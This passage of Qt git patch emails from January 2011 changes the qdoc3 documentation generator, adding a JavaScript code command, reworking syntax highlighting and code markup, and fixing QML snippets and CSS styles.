threeColumnEnumValueTable(true), funcLeftParen("\\S(\\()"), myTree(0), - slow(false), + syntaxHighlighting(false), obsoleteLinks(false) { } @@ -320,7 +320,7 @@ void HtmlGenerator::initializeGenerator(const Config &config) ++edition; } - slow = config.getBool(CONFIG_SLOW); + syntaxHighlighting = config.getBool(CONFIG_SYNTAXHIGHLIGHTING); codeIndent = config.getInt(CONFIG_CODEINDENT); @@ -472,7 +472,7 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << protectEnc(plainCode(atom->string())); } else { - out() << highlightedCode(atom->string(), marker, relative); + out() << protectEnc(plainCode(atom->string())); } out() << formattingRightMap()[ATOM_FORMATTING_TELETYPE]; break; @@ -2781,7 +2781,7 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode, } - if (slow) { + if (syntaxHighlighting) { // is this block ever used at all? // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)()" src = html; diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h index f5d2427..6701184 100644 --- a/tools/qdoc3/htmlgenerator.h +++ b/tools/qdoc3/htmlgenerator.h @@ -279,7 +279,7 @@ class HtmlGenerator : public PageGenerator QStringList stylesheets; QStringList customHeadElements; const Tree *myTree; - bool slow; + bool syntaxHighlighting; bool obsoleteLinks; QMap moduleClassMap; QMap moduleNamespaceMap; diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp index 782df39..8193d2d 100644 --- a/tools/qdoc3/main.cpp +++ b/tools/qdoc3/main.cpp @@ -147,7 +147,8 @@ static void processQdocconfFile(const QString &fileName) QStringList() << defaults[i].value); ++i; } - config.setStringList(CONFIG_SLOW, QStringList(slow ? "true" : "false")); + config.setStringList(CONFIG_SYNTAXHIGHLIGHTING, QStringList(slow ? "true" : "false")); + config.setStringList(CONFIG_LINKSINMARKUP, QStringList(slow ? "true" : "false")); config.setStringList(CONFIG_SHOWINTERNAL, QStringList(showInternal ? "true" : "false")); config.setStringList(CONFIG_OBSOLETELINKS, -- cgit v0.12 From 59a35a794e433f9526aff72025c0899e76ef362e Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 19 Jan 2011 15:49:41 +0100 Subject: Doc: Fixed QML syntax. --- doc/src/getting-started/examples.qdoc | 6 ++-- src/declarative/graphicsitems/qdeclarativeitem.cpp | 32 ++++++++++++++-------- src/declarative/graphicsitems/qdeclarativepath.cpp | 6 ++-- 3 files changed, 27 insertions(+), 17 deletions(-) diff --git a/doc/src/getting-started/examples.qdoc b/doc/src/getting-started/examples.qdoc index 67000e2..296e032 100644 --- a/doc/src/getting-started/examples.qdoc +++ b/doc/src/getting-started/examples.qdoc @@ -488,10 +488,12 @@ \image ipc-examples.png \list - \o \l{ipc/localfortuneclient}{Local Fortune Client}\raisedaster - \o \l{ipc/localfortuneserver}{Local Fortune Server}\raisedaster + \o \l{ipc/localfortuneclient}{Local Fortune Client} + \o \l{ipc/localfortuneserver}{Local Fortune Server} \o \l{ipc/sharedmemory}{Shared Memory}\raisedaster \endlist + + Examples marked with an asterisk (*) are fully documented. */ /*! diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index 2e3a5a2..7ddf949 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -799,10 +799,18 @@ void QDeclarativeKeyNavigationAttached::keyReleased(QKeyEvent *event, bool post) This example forwards key events to two lists: \qml - ListView { id: list1 ... } - ListView { id: list2 ... } - Keys.forwardTo: [list1, list2] - focus: true + Item { + ListView { + id: list1 + // ... + } + ListView { + id: list2 + // ... + } + Keys.forwardTo: [list1, list2] + focus: true + } \endqml */ @@ -2542,14 +2550,14 @@ QDeclarativeListProperty QDeclarativeItemPrivate::transi This property is often used in scripts to change between states. For example: - \qml - function toggle() { - if (button.state == 'On') - button.state = 'Off'; - else - button.state = 'On'; - } - \endqml + \js + function toggle() { + if (button.state == 'On') + button.state = 'Off'; + else + button.state = 'On'; + } + \endjs If the item is in its base state (i.e. no explicit state has been set), \c state will be a blank string. Likewise, you can return an diff --git a/src/declarative/graphicsitems/qdeclarativepath.cpp b/src/declarative/graphicsitems/qdeclarativepath.cpp index bc395d2..48e3f66 100644 --- a/src/declarative/graphicsitems/qdeclarativepath.cpp +++ b/src/declarative/graphicsitems/qdeclarativepath.cpp @@ -845,7 +845,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path) \o \qml PathView { - ... + // ... Path { startX: 20; startY: 0 PathQuad { x: 50; y: 80; controlX: 0; controlY: 80 } @@ -859,7 +859,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path) \o \qml PathView { - ... + // ... Path { startX: 20; startY: 0 PathQuad { x: 50; y: 80; controlX: 0; controlY: 80 } @@ -892,7 +892,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path) \qml PathView { - ... + // ... Path { startX: 0; startY: 0 PathLine { x:100; y: 0; } -- cgit v0.12 From 2d2ac3395663bb3b5335073b4120cc909194edfb Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 20 Jan 2011 17:14:44 +0100 Subject: Ensured that QML elements are marked up as types. --- tools/qdoc3/qmlmarkupvisitor.cpp | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp index 9916be2..7acac48 100644 --- a/tools/qdoc3/qmlmarkupvisitor.cpp +++ b/tools/qdoc3/qmlmarkupvisitor.cpp @@ -862,8 +862,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DebuggerStatement *statement) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition) { QHash attributes; - attributes[QLatin1String("node")] = sourceText(definition->qualifiedTypeNameId->identifierToken); - addMarkedUpToken(definition->qualifiedTypeNameId->identifierToken, QLatin1String("link"), attributes); + addMarkedUpToken(definition->qualifiedTypeNameId->identifierToken, QLatin1String("type")); QDeclarativeJS::AST::Node::accept(definition->initializer, this); return false; } -- cgit v0.12 From 41f93881ad51d21aece16d8c1c272c0ff3246db8 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 20 Jan 2011 17:18:30 +0100 Subject: Added a \js command for JavaScript code. --- tools/qdoc3/doc.cpp | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index 774f8ba..140545a 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -96,6 +96,7 @@ enum { #ifdef QDOC_QML CMD_QML, CMD_ENDQML, CMD_CPP, CMD_ENDCPP, CMD_QMLTEXT, CMD_ENDQMLTEXT, CMD_CPPTEXT, CMD_ENDCPPTEXT, + CMD_JS, CMD_ENDJS, #endif NOT_A_CMD }; @@ -202,6 +203,8 @@ static struct { { "endqmltext", CMD_ENDQMLTEXT, 0 }, { "cpptext", CMD_CPPTEXT, 0 }, { "endcpptext", CMD_ENDCPPTEXT, 0 }, + { "js", CMD_JS, 0 }, + { "endjs", CMD_ENDJS, 0 }, #endif { 0, 0, 0 } }; @@ -557,6 +560,10 @@ void DocParser::parse(const QString& source, case CMD_QMLTEXT: append(Atom::QmlText); break; + case CMD_JS: + leavePara(); + append(Atom::JavaScript, getCode(CMD_JS, CodeMarker::markerForLanguage(QLatin1String("JavaScript")))); + break; #endif case CMD_DIV: leavePara(); @@ -644,6 +651,9 @@ void DocParser::parse(const QString& source, case CMD_ENDQMLTEXT: append(Atom::EndQmlText); break; + case CMD_ENDJS: + closeCommand(cmd); + break; #endif case CMD_ENDFOOTNOTE: if (closeCommand(cmd)) { @@ -2406,6 +2416,8 @@ int DocParser::endCmdFor(int cmd) return CMD_ENDQML; case CMD_QMLTEXT: return CMD_ENDQMLTEXT; + case CMD_JS: + return CMD_ENDJS; #endif case CMD_FOOTNOTE: return CMD_ENDFOOTNOTE; -- cgit v0.12 From 0418b2b540fcb0e3d76299e3df69ad600292adf9 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 20 Jan 2011 17:26:10 +0100 Subject: Ongoing improvements and fixes to syntax highlighting. Added an atom for JavaScript code. Fixed example file quoting to use the appropriate atom for each file. Changed C++ code marking to mark up classes as types. Fixed C++ quoting bug that caused the last character to be lost. Fixed indentation of code to not insert spaces inside elements. Documented the change in the meaning of the \c command. Simplified the use of CSS classes in the HTML output. --- tools/qdoc3/atom.h | 36 ++++++++++++++++++++---------------- tools/qdoc3/codemarker.h | 2 ++ tools/qdoc3/cppcodemarker.cpp | 35 ++++++++++++++++++++++++++--------- tools/qdoc3/cppcodemarker.h | 1 + tools/qdoc3/generator.cpp | 28 ++++++++++------------------ tools/qdoc3/htmlgenerator.cpp | 23 +++++++++++++++++------ tools/qdoc3/jscodemarker.cpp | 8 ++++++++ tools/qdoc3/jscodemarker.h | 1 + tools/qdoc3/plaincodemarker.cpp | 5 +++++ tools/qdoc3/plaincodemarker.h | 1 + tools/qdoc3/qmlcodemarker.cpp | 8 ++++++++ tools/qdoc3/qmlcodemarker.h | 1 + 12 files changed, 100 insertions(+), 49 deletions(-) diff --git a/tools/qdoc3/atom.h b/tools/qdoc3/atom.h index a20e057..ab4ee44 100644 --- a/tools/qdoc3/atom.h +++ b/tools/qdoc3/atom.h @@ -78,9 +78,9 @@ class Atom EndQmlText, #endif FootnoteLeft, - FootnoteRight, + FootnoteRight, // 20 FormatElse, - FormatEndif, // 20 + FormatEndif, FormatIf, FormattingLeft, FormattingRight, @@ -88,19 +88,23 @@ class Atom GuidLink, Image, ImageText, - InlineImage, + InlineImage, // 30 +#ifdef QDOC_QML + JavaScript, + EndJavaScript, +#endif LegaleseLeft, - LegaleseRight, // 30 + LegaleseRight, LineBreak, Link, LinkNode, ListLeft, ListItemNumber, - ListTagLeft, // 36 - ListTagRight, // 37 - ListItemLeft, // 38 - ListItemRight, // 39 - ListRight, // 40 + ListTagLeft, // 40 + ListTagRight, // 41 + ListItemLeft, // 42 + ListItemRight, // 43 + ListRight, // 44 Nop, ParaLeft, ParaRight, @@ -108,30 +112,30 @@ class Atom Qml, QmlText, #endif - QuotationLeft, + QuotationLeft, // 50 QuotationRight, RawString, - SectionLeft, // 49 + SectionLeft, // 53 SectionRight, SectionHeadingLeft, SectionHeadingRight, SidebarLeft, SidebarRight, SinceList, - SnippetCommand, + SnippetCommand, // 60 SnippetIdentifier, SnippetLocation, - String, // 59 - TableLeft, // 60 + String, // 63 + TableLeft, // 64 TableRight, TableHeaderLeft, TableHeaderRight, TableRowLeft, TableRowRight, - TableItemLeft, + TableItemLeft, // 70 TableItemRight, TableOfContents, - Target, // 69 + Target, // 73 UnhandledFormat, UnknownCommand, Last = UnknownCommand diff --git a/tools/qdoc3/codemarker.h b/tools/qdoc3/codemarker.h index e643082..6c45581 100644 --- a/tools/qdoc3/codemarker.h +++ b/tools/qdoc3/codemarker.h @@ -48,6 +48,7 @@ #include +#include "atom.h" #include "node.h" QT_BEGIN_NAMESPACE @@ -121,6 +122,7 @@ class CodeMarker virtual bool recognizeCode(const QString& code) = 0; virtual bool recognizeExtension(const QString& ext) = 0; virtual bool recognizeLanguage(const QString& lang) = 0; + virtual Atom::Type atomType() const = 0; virtual QString plainName(const Node *node) = 0; virtual QString plainFullName(const Node *node, const Node *relative = 0) = 0; diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 2b7db62..9b696a7 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -103,6 +103,14 @@ bool CppCodeMarker::recognizeLanguage(const QString &lang) } /*! + Returns the type of atom used to represent C++ code in the documentation. +*/ +Atom::Type CppCodeMarker::atomType() const +{ + return Atom::Code; +} + +/*! Returns the \a node name, or "()" if \a node is a Node::Function node. */ @@ -417,7 +425,6 @@ QString CppCodeMarker::markedUpIncludes(const QStringList& includes) code += "<@preprocessor>#include <<@headerfile>" + *inc + ">\n"; ++inc; } - Location location; return code; } @@ -937,6 +944,7 @@ QString CppCodeMarker::addMarkUp(const QString &in, while (ch != EOF) { int second = i; QString tag; + bool target = false; if (isalpha(ch) || ch == '_') { QString ident; @@ -946,9 +954,10 @@ QString CppCodeMarker::addMarkUp(const QString &in, } while (isalnum(ch) || ch == '_'); if (classRegExp.exactMatch(ident)) { - tag = QLatin1String("class"); + tag = QLatin1String("type"); } else if (functionRegExp.exactMatch(ident)) { - tag = QLatin1String("function"); + tag = QLatin1String("func"); + target = true; } else if (types.contains(ident)) { tag = QLatin1String("type"); } else if (keywords.contains(ident)) { @@ -956,7 +965,8 @@ QString CppCodeMarker::addMarkUp(const QString &in, } else if (braceDepth == 0 && parenDepth == 0) { if (QString(code.unicode() + i - 1, code.length() - (i - 1)) .indexOf(QRegExp(QLatin1String("^\\s*\\("))) == 0) - tag = QLatin1String("function"); + tag = QLatin1String("func"); + target = true; } } else if (isdigit(ch)) { do { @@ -1074,13 +1084,20 @@ QString CppCodeMarker::addMarkUp(const QString &in, } } - if (!tag.isEmpty()) - out += QLatin1String("<@") + tag + QLatin1String(">"); - + QString text; if (tag.isEmpty() && i == code.length()) - out += protect(code.mid(second - 1, i - second + 1)); + text = code.mid(second - 1, i - second + 1); else - out += protect(code.mid(second - 1, i - second)); + text = code.mid(second - 1, i - second); + + if (!tag.isEmpty()) { + out += QLatin1String("<@") + tag; + if (target) + out += QLatin1String(" target=\"") + text + QLatin1String("()\""); + out += QLatin1String(">"); + } + + out += protect(text); if (!tag.isEmpty()) out += QLatin1String(""); diff --git a/tools/qdoc3/cppcodemarker.h b/tools/qdoc3/cppcodemarker.h index bb307f9..8206dbe 100644 --- a/tools/qdoc3/cppcodemarker.h +++ b/tools/qdoc3/cppcodemarker.h @@ -59,6 +59,7 @@ class CppCodeMarker : public CodeMarker virtual bool recognizeCode(const QString& code); virtual bool recognizeExtension(const QString& ext); virtual bool recognizeLanguage(const QString& lang); + virtual Atom::Type atomType() const; virtual QString plainName(const Node *node); virtual QString plainFullName(const Node *node, const Node *relative); virtual QString markedUpCode(const QString& code, diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp index 65b9a09..62ec966 100644 --- a/tools/qdoc3/generator.cpp +++ b/tools/qdoc3/generator.cpp @@ -524,8 +524,9 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) Quoter quoter; Doc::quoteFromFile(fake->doc().location(), quoter, fake->name()); QString code = quoter.quoteTo(fake->location(), "", ""); - text << Atom(Atom::Code, code); - generateText(text, fake, CodeMarker::markerForFileName(fake->name())); + CodeMarker *codeMarker = CodeMarker::markerForFileName(fake->name()); + text << Atom(codeMarker->atomType(), code); + generateText(text, fake, codeMarker); } } } @@ -683,26 +684,17 @@ QString Generator::indent(int level, const QString& markedCode) int i = 0; while (i < (int) markedCode.length()) { - if (markedCode.at(i) == QLatin1Char('<')) { - while (i < (int) markedCode.length()) { - t += markedCode.at(i++); - if (markedCode.at(i - 1) == QLatin1Char('>')) - break; - } + if (markedCode.at(i) == QLatin1Char('\n')) { + column = 0; } else { - if (markedCode.at(i) == QLatin1Char('\n')) { - column = 0; - } - else { - if (column == 0) { - for (int j = 0; j < level; j++) - t += QLatin1Char(' '); - } - column++; + if (column == 0) { + for (int j = 0; j < level; j++) + t += QLatin1Char(' '); } - t += markedCode.at(i++); + column++; } + t += markedCode.at(i++); } return t; } diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index a3156c3..4385dfd 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -467,6 +467,9 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << "

\n"; break; case Atom::C: + // This may at one time have been used to mark up C++ code but it is + // now widely used to write teletype text. As a result, text marked + // with the \c command is not passed to a code marker. out() << formattingLeftMap()[ATOM_FORMATTING_TELETYPE]; if (inLink) { out() << protectEnc(plainCode(atom->string())); @@ -477,7 +480,7 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << formattingRightMap()[ATOM_FORMATTING_TELETYPE]; break; case Atom::Code: - out() << "
"
+        out() << "
"
               << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
                                                  marker,relative))
               << "
\n"; @@ -489,10 +492,16 @@ int HtmlGenerator::generateAtom(const Atom *atom, marker,relative)) << "
\n"; break; + case Atom::JavaScript: + out() << "
"
+              << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
+                                                 marker,relative))
+              << "
\n"; + break; #endif case Atom::CodeNew: out() << "

you can rewrite it as

\n" - << "
"
+              << "
"
               << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
                                                  marker,relative))
               << "
\n"; @@ -501,7 +510,7 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << "

For example, if you have code like

\n"; // fallthrough case Atom::CodeBad: - out() << "
"
+        out() << "
"
               << trimmedTrailing(protectEnc(plainCode(indent(codeIndent,atom->string()))))
               << "
\n"; break; @@ -1773,7 +1782,7 @@ void HtmlGenerator::generateBrief(const Node *node, CodeMarker *marker, void HtmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker) { if (!inner->includes().isEmpty()) { - out() << "
"
+        out() << "
"
               << trimmedTrailing(highlightedCode(indent(codeIndent,
                                                         marker->markedUpIncludes(inner->includes())),
                                                  marker,inner))
@@ -2757,8 +2766,8 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
     // replace all <@link> tags: "(<@link node=\"([^\"]+)\">).*()"
     bool done = false;
     for (int i = 0, srcSize = src.size(); i < srcSize;) {
-        if (src.at(i) == charLangle && src.at(i + 1).unicode() == '@') {
-            if (alignNames && !done) {// && (i != 0)) Why was this here?
+        if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
+            if (alignNames && !done) {
                 html += "";
                 done = true;
             }
@@ -2819,6 +2828,7 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
             if (parseArg(src, typeTag, &i, srcSize, &arg, &par1)) {
                 par1 = QStringRef();
                 const Node* n = marker->resolveTarget(arg.toString(), myTree, relative, self);
+                html += QLatin1String("");
                 if (n && n->subType() == Node::QmlBasicType) {
                     if (relative && relative->subType() == Node::QmlClass)
                         addLink(linkForNode(n,relative), arg, &html);
@@ -2827,6 +2837,7 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
                 }
                 else
                     addLink(linkForNode(n,relative), arg, &html);
+                html += QLatin1String("");
                 handled = true;
             }
             else if (parseArg(src, headerTag, &i, srcSize, &arg, &par1)) {
diff --git a/tools/qdoc3/jscodemarker.cpp b/tools/qdoc3/jscodemarker.cpp
index 80df0aa..5a513f7 100644
--- a/tools/qdoc3/jscodemarker.cpp
+++ b/tools/qdoc3/jscodemarker.cpp
@@ -101,6 +101,14 @@ bool JsCodeMarker::recognizeLanguage(const QString &language)
     return language == "JavaScript" || language == "ECMAScript";
 }
 
+/*!
+  Returns the type of atom used to represent JavaScript code in the documentation.
+*/
+Atom::Type JsCodeMarker::atomType() const
+{
+    return Atom::JavaScript;
+}
+
 QString JsCodeMarker::markedUpCode(const QString &code,
                                     const Node *relative,
                                     const Location &location)
diff --git a/tools/qdoc3/jscodemarker.h b/tools/qdoc3/jscodemarker.h
index 6d85063..9b55819 100644
--- a/tools/qdoc3/jscodemarker.h
+++ b/tools/qdoc3/jscodemarker.h
@@ -59,6 +59,7 @@ public:
     virtual bool recognizeCode(const QString &code);
     virtual bool recognizeExtension(const QString &ext);
     virtual bool recognizeLanguage(const QString &language);
+    virtual Atom::Type atomType() const;
 
     virtual QString markedUpCode(const QString &code, 
                                  const Node *relative, 
diff --git a/tools/qdoc3/plaincodemarker.cpp b/tools/qdoc3/plaincodemarker.cpp
index 9819593..e7926da 100644
--- a/tools/qdoc3/plaincodemarker.cpp
+++ b/tools/qdoc3/plaincodemarker.cpp
@@ -66,6 +66,11 @@ bool PlainCodeMarker::recognizeLanguage( const QString& /* lang */ )
     return false;
 }
 
+Atom::Type PlainCodeMarker::atomType() const
+{
+    return Atom::Code;
+}
+
 QString PlainCodeMarker::plainName( const Node * /* node */ )
 {
     return "";
diff --git a/tools/qdoc3/plaincodemarker.h b/tools/qdoc3/plaincodemarker.h
index 1c469a0..34fa63d 100644
--- a/tools/qdoc3/plaincodemarker.h
+++ b/tools/qdoc3/plaincodemarker.h
@@ -59,6 +59,7 @@ public:
     bool recognizeCode( const QString& code );
     bool recognizeExtension( const QString& ext );
     bool recognizeLanguage( const QString& lang );
+    Atom::Type atomType() const;
     QString plainName( const Node *node );
     QString plainFullName( const Node *node, const Node *relative );
     QString markedUpCode( const QString& code, const Node *relative, const Location &location );
diff --git a/tools/qdoc3/qmlcodemarker.cpp b/tools/qdoc3/qmlcodemarker.cpp
index e0ba0e1..a7dc5a0 100644
--- a/tools/qdoc3/qmlcodemarker.cpp
+++ b/tools/qdoc3/qmlcodemarker.cpp
@@ -103,6 +103,14 @@ bool QmlCodeMarker::recognizeLanguage(const QString &language)
 }
 
 /*!
+  Returns the type of atom used to represent QML code in the documentation.
+*/
+Atom::Type QmlCodeMarker::atomType() const
+{
+    return Atom::Qml;
+}
+
+/*!
   Returns the name of the \a node. Method names include are returned with a
   trailing set of parentheses.
  */
diff --git a/tools/qdoc3/qmlcodemarker.h b/tools/qdoc3/qmlcodemarker.h
index b1d365c..1665b16 100644
--- a/tools/qdoc3/qmlcodemarker.h
+++ b/tools/qdoc3/qmlcodemarker.h
@@ -60,6 +60,7 @@ public:
     virtual bool recognizeCode(const QString &code);
     virtual bool recognizeExtension(const QString &ext);
     virtual bool recognizeLanguage(const QString &language);
+    virtual Atom::Type atomType() const;
     virtual QString plainName(const Node *node);
     virtual QString plainFullName(const Node *node, const Node *relative);
     virtual QString markedUpCode(const QString &code, 
-- 
cgit v0.12


From fcb5e19d892ccff208590b8a37171ef6894fc694 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Thu, 20 Jan 2011 17:26:47 +0100
Subject: Added a style for types in quoted code.

---
 doc/src/template/style/offline.css | 4 ++++
 doc/src/template/style/style.css   | 4 ++++
 2 files changed, 8 insertions(+)

diff --git a/doc/src/template/style/offline.css b/doc/src/template/style/offline.css
index 4a10d0a..2aafe56 100644
--- a/doc/src/template/style/offline.css
+++ b/doc/src/template/style/offline.css
@@ -185,6 +185,10 @@
     {
         color: black
     }
+    span.type
+    {
+        font-weight: bold
+    }
 /* end basic elements */
 
 /* font style elements */
diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css
index 451d6bf..fbad0fd 100755
--- a/doc/src/template/style/style.css
+++ b/doc/src/template/style/style.css
@@ -210,6 +210,10 @@
     {
         color: black
     }
+    span.type
+    {
+        font-weight: bold
+    }
 /* end basic elements */
 
 /* font style elements */
-- 
cgit v0.12


From d1c54182a317f29240a607de044c01e7e1dd0e8f Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Thu, 20 Jan 2011 17:27:33 +0100
Subject: Doc: Fixed invalid QML snippets and marked up JavaScript correctly.

---
 src/declarative/graphicsitems/qdeclarativeitem.cpp | 97 ++++++++++++++--------
 1 file changed, 64 insertions(+), 33 deletions(-)

diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp
index 24d9b03..2989b75 100644
--- a/src/declarative/graphicsitems/qdeclarativeitem.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp
@@ -799,10 +799,18 @@ void QDeclarativeKeyNavigationAttached::keyReleased(QKeyEvent *event, bool post)
 
     This example forwards key events to two lists:
     \qml
-    ListView { id: list1 ... }
-    ListView { id: list2 ... }
-    Keys.forwardTo: [list1, list2]
-    focus: true
+    Item {
+        ListView {
+            id: list1
+            // ...
+        }
+        ListView {
+            id: list2
+            // ...
+        }
+        Keys.forwardTo: [list1, list2]
+        focus: true
+    }
     \endqml
 */
 
@@ -1341,8 +1349,13 @@ QDeclarativeKeysAttached *QDeclarativeKeysAttached::qmlAttachedProperties(QObjec
     refer to the item. For example:
 
     \qml
-    Text { id: myText; ... }
-    Text { text: myText.text }
+    Item {
+        Text {
+            id: myText
+            // ...
+        }
+        Text { text: myText.text }
+    }
     \endqml
 
     The identifier is available throughout to the \l {components}{component}
@@ -2144,13 +2157,16 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
   \o \image declarative-anchors_example.png
   \o Text anchored to Image, horizontally centered and vertically below, with a margin.
   \qml
-  Image { id: pic; ... }
+  Image {
+      id: pic
+      // ...
+  }
   Text {
       id: label
       anchors.horizontalCenter: pic.horizontalCenter
       anchors.top: pic.bottom
       anchors.topMargin: 5
-      ...
+      // ...
   }
   \endqml
   \row
@@ -2160,12 +2176,15 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
   property of both defaults to 0.
 
   \qml
-    Image { id: pic; ... }
+    Image {
+        id: pic
+        // ...
+    }
     Text {
         id: label
         anchors.left: pic.right
         anchors.leftMargin: 5
-        ...
+        // ...
     }
   \endqml
   \endtable
@@ -2480,11 +2499,15 @@ QDeclarativeListProperty QDeclarativeItemPrivate::resources()
 
   \qml
   Item {
-    states: [
-      State { ... },
-      State { ... }
-      ...
-    ]
+      states: [
+          State {
+              // ...
+          },
+          State {
+              // ...
+          }
+          // ...
+      ]
   }
   \endqml
 
@@ -2502,11 +2525,15 @@ QDeclarativeListProperty QDeclarativeItemPrivate::states()
 
   \qml
   Item {
-    transitions: [
-      Transition { ... },
-      Transition { ... }
-      ...
-    ]
+      transitions: [
+          Transition {
+              // ...
+          },
+          Transition {
+              // ...
+          }
+          // ...
+      ]
   }
   \endqml
 
@@ -2531,11 +2558,15 @@ QDeclarativeListProperty QDeclarativeItemPrivate::transi
 
   \qml
   Item {
-    filter: [
-      Blur { ... },
-      Reflection { ... }
-      ...
-    ]
+      filter: [
+          Blur {
+              // ...
+          },
+          Reflection {
+              // ...
+          }
+          // ...
+      ]
   }
   \endqml
 */
@@ -2570,14 +2601,14 @@ QDeclarativeListProperty QDeclarativeItemPrivate::transi
   This property is often used in scripts to change between states. For
   example:
 
-  \qml
-    function toggle() {
-        if (button.state == 'On')
-            button.state = 'Off';
-        else
-            button.state = 'On';
-    }
-  \endqml
+  \js
+  function toggle() {
+      if (button.state == 'On')
+          button.state = 'Off';
+      else
+          button.state = 'On';
+  }
+  \endjs
 
   If the item is in its base state (i.e. no explicit state has been
   set), \c state will be a blank string. Likewise, you can return an
-- 
cgit v0.12


From e7e95bf64a4e513dd423acc38be615501ef76eac Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Thu, 20 Jan 2011 18:35:51 +0100
Subject: Doc: Ensured that text in tables is not too large.

---
 doc/src/template/style/offline.css | 1 -
 1 file changed, 1 deletion(-)

diff --git a/doc/src/template/style/offline.css b/doc/src/template/style/offline.css
index 2aafe56..f5eb1c0 100644
--- a/doc/src/template/style/offline.css
+++ b/doc/src/template/style/offline.css
@@ -111,7 +111,6 @@
         background-color: #F6F6F6;
         border: 1px solid #E6E6E6;
         border-collapse: separate;
-        font-size: 110%;
         margin-bottom: 2.5em;
     }
     pre {
-- 
cgit v0.12


From 92e0bfee7efb1505dbff6860f925445214fc7a54 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Thu, 20 Jan 2011 18:39:20 +0100
Subject: Enabled syntax highlighting by default.

Removed the linksinmarkup configuration option because it was not
introduced in all relevant places.
---
 tools/qdoc3/codemarker.cpp    |  8 ++------
 tools/qdoc3/codemarker.h      |  2 --
 tools/qdoc3/config.h          |  1 -
 tools/qdoc3/htmlgenerator.cpp | 42 ++++++++++++++++++------------------------
 tools/qdoc3/htmlgenerator.h   |  1 -
 tools/qdoc3/main.cpp          |  1 -
 6 files changed, 20 insertions(+), 35 deletions(-)

diff --git a/tools/qdoc3/codemarker.cpp b/tools/qdoc3/codemarker.cpp
index 89933d3..9047b6e 100644
--- a/tools/qdoc3/codemarker.cpp
+++ b/tools/qdoc3/codemarker.cpp
@@ -59,7 +59,6 @@ QList CodeMarker::markers;
   been read.
  */
 CodeMarker::CodeMarker()
-    : linksInMarkup(false)
 {
     markers.prepend(this);
 }
@@ -74,14 +73,11 @@ CodeMarker::~CodeMarker()
 }
 
 /*!
-  The only thing a code market initializes is its \e{linksInMarkup}
-  flag. The \e{linksInMarkup} flag indicates whether links are created for
-  names that have corresponding entries in the API documentation.
-  It is turned off by default. 
+  A code market performs no initialization by default. Marker-specific
+  initialization is performed in subclasses.
  */
 void CodeMarker::initializeMarker(const Config &config)
 {
-    linksInMarkup = config.getBool(QLatin1String(CONFIG_LINKSINMARKUP));
 }
 
 /*!
diff --git a/tools/qdoc3/codemarker.h b/tools/qdoc3/codemarker.h
index 6c45581..ed44395 100644
--- a/tools/qdoc3/codemarker.h
+++ b/tools/qdoc3/codemarker.h
@@ -184,8 +184,6 @@ class CodeMarker
  private:
     QString macName(const Node *parent, const QString &name = QString());
 
-    bool linksInMarkup;
-
     static QString defaultLang;
     static QList markers;
 };
diff --git a/tools/qdoc3/config.h b/tools/qdoc3/config.h
index 2dd7d50..54c7dab 100644
--- a/tools/qdoc3/config.h
+++ b/tools/qdoc3/config.h
@@ -141,7 +141,6 @@ class Config
 #define CONFIG_IMAGES                   "images"
 #define CONFIG_INDEXES                  "indexes"
 #define CONFIG_LANGUAGE                 "language"
-#define CONFIG_LINKSINMARKUP            "linksinmarkup"
 #define CONFIG_MACRO                    "macro"
 #define CONFIG_NATURALLANGUAGE          "naturallanguage"
 #define CONFIG_OBSOLETELINKS            "obsoletelinks"
